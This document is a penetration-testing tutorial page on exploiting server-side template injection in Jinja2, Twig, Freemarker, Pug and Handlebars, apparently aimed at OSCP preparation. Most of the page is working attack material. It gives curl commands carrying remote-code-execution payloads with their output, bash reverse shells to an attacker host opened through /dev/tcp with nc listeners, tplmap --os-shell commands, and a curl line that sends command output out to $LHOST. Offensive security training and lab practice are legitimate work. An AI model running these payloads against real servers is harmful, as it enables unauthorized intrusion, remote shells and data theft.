Skip to content

SSTI Exploitation

7 min read Created Mar 28, 2026 Last updated Aug 12, 2026

SSTI exploitation uses the template engine's access to language internals to execute OS commands. The payload depends entirely on the engine identified during SSTI detection. Jinja2 (Python), Twig (PHP), and Freemarker (Java) each require different payload chains to reach OS execution.

  • Jinja2 (Python) walks the object hierarchy through config.__class__ or string subclasses to reach os.popen.
  • Twig (PHP) abuses registerUndefinedFilterCallback on 1.x, and filter/map functions on 2.x/3.x to call system functions.
  • Freemarker (Java) instantiates freemarker.template.utility.Execute for direct command execution.
  • Pug (Node.js) evaluates JavaScript expressions in #{} interpolation, reaching child_process through require.
  • Handlebars (Node.js) chains helper lookups through the constructor prototype to reach require and execute code.
  • Mustache is logic-less and cannot execute code, but section injection can leak internal data.
  • tplmap automates detection and exploitation across all major template engines.

Engine identification is not optional. A Jinja2 payload sent to a Twig app returns an error or empty output. Confirm the engine before crafting any chain. URL-encode payloads in GET parameters. Curly braces, quotes, and angle brackets break requests if sent raw. Use --data-urlencode with curl or a dedicated encoder to avoid silent failures.

Jinja2: Python RCE

Jinja2 runs in Python context. The payload walks the Python object hierarchy to reach the os module and execute commands. Confirm Jinja2 first with {{7*'7'}} returning 7777777:

The first payload uses config, which Flask exposes in the template namespace. It reaches the os module through the class's global dictionary. The second payload uses Python string subclasses to locate subprocess.Popen without relying on config. Use the second approach when the app is not Flask or when config is not available in the template context.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/page?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/page?name={{''.__class__.__mro__[1].__subclasses__()[408]('id',shell=True,stdout=-1).communicate()[0].decode()}}"

The subclasses index varies by Python version. If 408 does not work, enumerate to find the subprocess.Popen class. Fetch the full subclasses list, then search for Popen and count its position in the comma-separated output to get the correct index. Imported packages like requests, flask, or sqlalchemy add their own subclasses and shift the index. On Python 3.9 the index is often lower than on 3.11.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/page?name={{''.__class__.__mro__[1].__subclasses__()}}" | grep -o 'Popen'

Jinja2: Reverse Shell

A reverse shell gives interactive access instead of blind command output. Use this when the app truncates output or renders it partially. Start the listener before sending the payload. The bash redirect payload must be URL-encoded to survive transport. Pass the full payload as a named parameter using --data-urlencode so curl handles encoding automatically.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/page" --get --data-urlencode "name={{config.__class__.__init__.__globals__['os'].popen('bash -c \"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\"').read()}}"

Twig: PHP RCE

Twig runs in PHP context. Use the _self object to access the Twig environment and call PHP system functions. This technique works against Twig 1.x. Twig 2.x and 3.x introduced a sandbox that blocks registerUndefinedFilterCallback. If the payload returns empty output, the app likely runs Twig 2+ with sandbox mode enabled. Look for version clues in error messages or X-Powered-By headers. Symfony applications default to Twig and are a common target.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/page?name={{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/page" --get --data-urlencode "name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('bash -c \"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\"')}}"

Twig 2.x and 3.x

Twig 2.x removed direct access to _self.env and sandboxed registerUndefinedFilterCallback. The filter and map functions bypass this by calling arbitrary PHP functions on array elements. filter works on Twig 2.x and 3.x. map is available from Twig 2.12 onward. Both pass each array element as the first argument to the callback function.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/page" --get --data-urlencode "name={{['id']|filter('system')}}"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/page" --get --data-urlencode "name={{['id']|map('system')}}"

For a reverse shell on Twig 2.x/3.x, replace the command string inside the array. URL-encode the full payload when sending through a GET parameter.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/page" --get --data-urlencode "name={{['bash -c \"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\"']|filter('system')}}"

Freemarker: Java RCE

Freemarker runs in Java context and uses the freemarker.template.utility.Execute class for command execution. Freemarker appears in Jenkins pipelines, Confluence, and Spring-based Java applications. The output shows the process user. On Tomcat, expect a tomcat service account. On Jenkins, expect the user running the build agent process. If the Execute class is unavailable, the application may restrict it in its Freemarker configuration. Try freemarker.template.utility.ObjectConstructor as an alternative path to instantiate classes with execution capabilities.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/page?name=<#assign ex='freemarker.template.utility.Execute'?new()>\${ex('id')}"
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)

Pug (Jade): Node.js RCE

Pug (formerly Jade) is a Node.js template engine used in Express applications. Injection points accept JavaScript expressions directly inside #{} interpolation. The detection payload #{7*7} returning 49 confirms Pug. Access the child_process module through global.process.mainModule.require to execute OS commands.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/page" --get --data-urlencode "name=#{global.process.mainModule.require('child_process').execSync('id').toString()}"
uid=1000(node) gid=1000(node) groups=1000(node)

For a reverse shell, pipe the bash payload through execSync. Some Pug configurations restrict access to global. If the payload fails, try process.mainModule.require without the global prefix.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/page" --get --data-urlencode "name=#{global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\"').toString()}"

Handlebars: Node.js RCE

Handlebars is a logic-less template engine for Node.js. Standard expressions like {{7*7}} return the literal string, not an evaluated result. RCE requires abusing helper lookup chains to reach require through the constructor prototype. This payload works when the Handlebars template is compiled with noEscape: true or when the application does not use SafeString. The payload is long because it walks from a string helper through Function constructor to build and execute arbitrary code.

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('id');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

Send the payload URL-encoded through curl. Remove the whitespace and newlines before sending. The output contains the command result inline in the rendered page. If the application uses a recent Handlebars version (4.7.7+) with prototype access restrictions, the lookup call returns undefined and the chain breaks. Check the Handlebars version in package.json or error messages to determine feasibility.

Mustache: No RCE

Mustache is a logic-less template engine available in Ruby, JavaScript, Python, and other languages. It evaluates {{variable}} tags but does not support arbitrary expressions, function calls, or code execution. {{7*7}} returns empty output or the literal string, not 49. Mustache sections ({{#section}}) iterate or conditionally render based on data context but cannot call functions. This makes direct RCE impossible through Mustache injection alone. The impact is limited to data leakage: injecting section tags to iterate over internal data structures and expose values not intended for the current context. If the template context contains sensitive objects (API keys, database records, user lists), section injection can render those values into the response.

tplmap for Automated Exploitation

tplmap detects and exploits SSTI automatically across Jinja2, Twig, Freemarker, and other engines. Use it to confirm exploitability quickly in lab environments. Automated exploitation tools are not permitted in the OSCP exam. Use the manual payloads above in exam contexts.

┌──(kali㉿kali)-[~]
└─$ tplmap -u "http://$TARGET_IP:$PORT/page?name=test" --os-shell
┌──(kali㉿kali)-[~]
└─$ tplmap -u "http://$TARGET_IP:$PORT/page?name=test" --os-cmd id

If all payloads fail, check whether the application encodes or strips special characters before they reach the template engine. WAFs often block {{ and __class__. Try alternative encoding schemes or payload variations that avoid blocked strings. When command output does not appear in the response, the execution may still succeed. Use an out-of-band channel to confirm. Include a DNS or HTTP callback in the command, such as curl http://$LHOST/?x=$(id|base64), to exfiltrate output over HTTP and verify code execution blindly.

References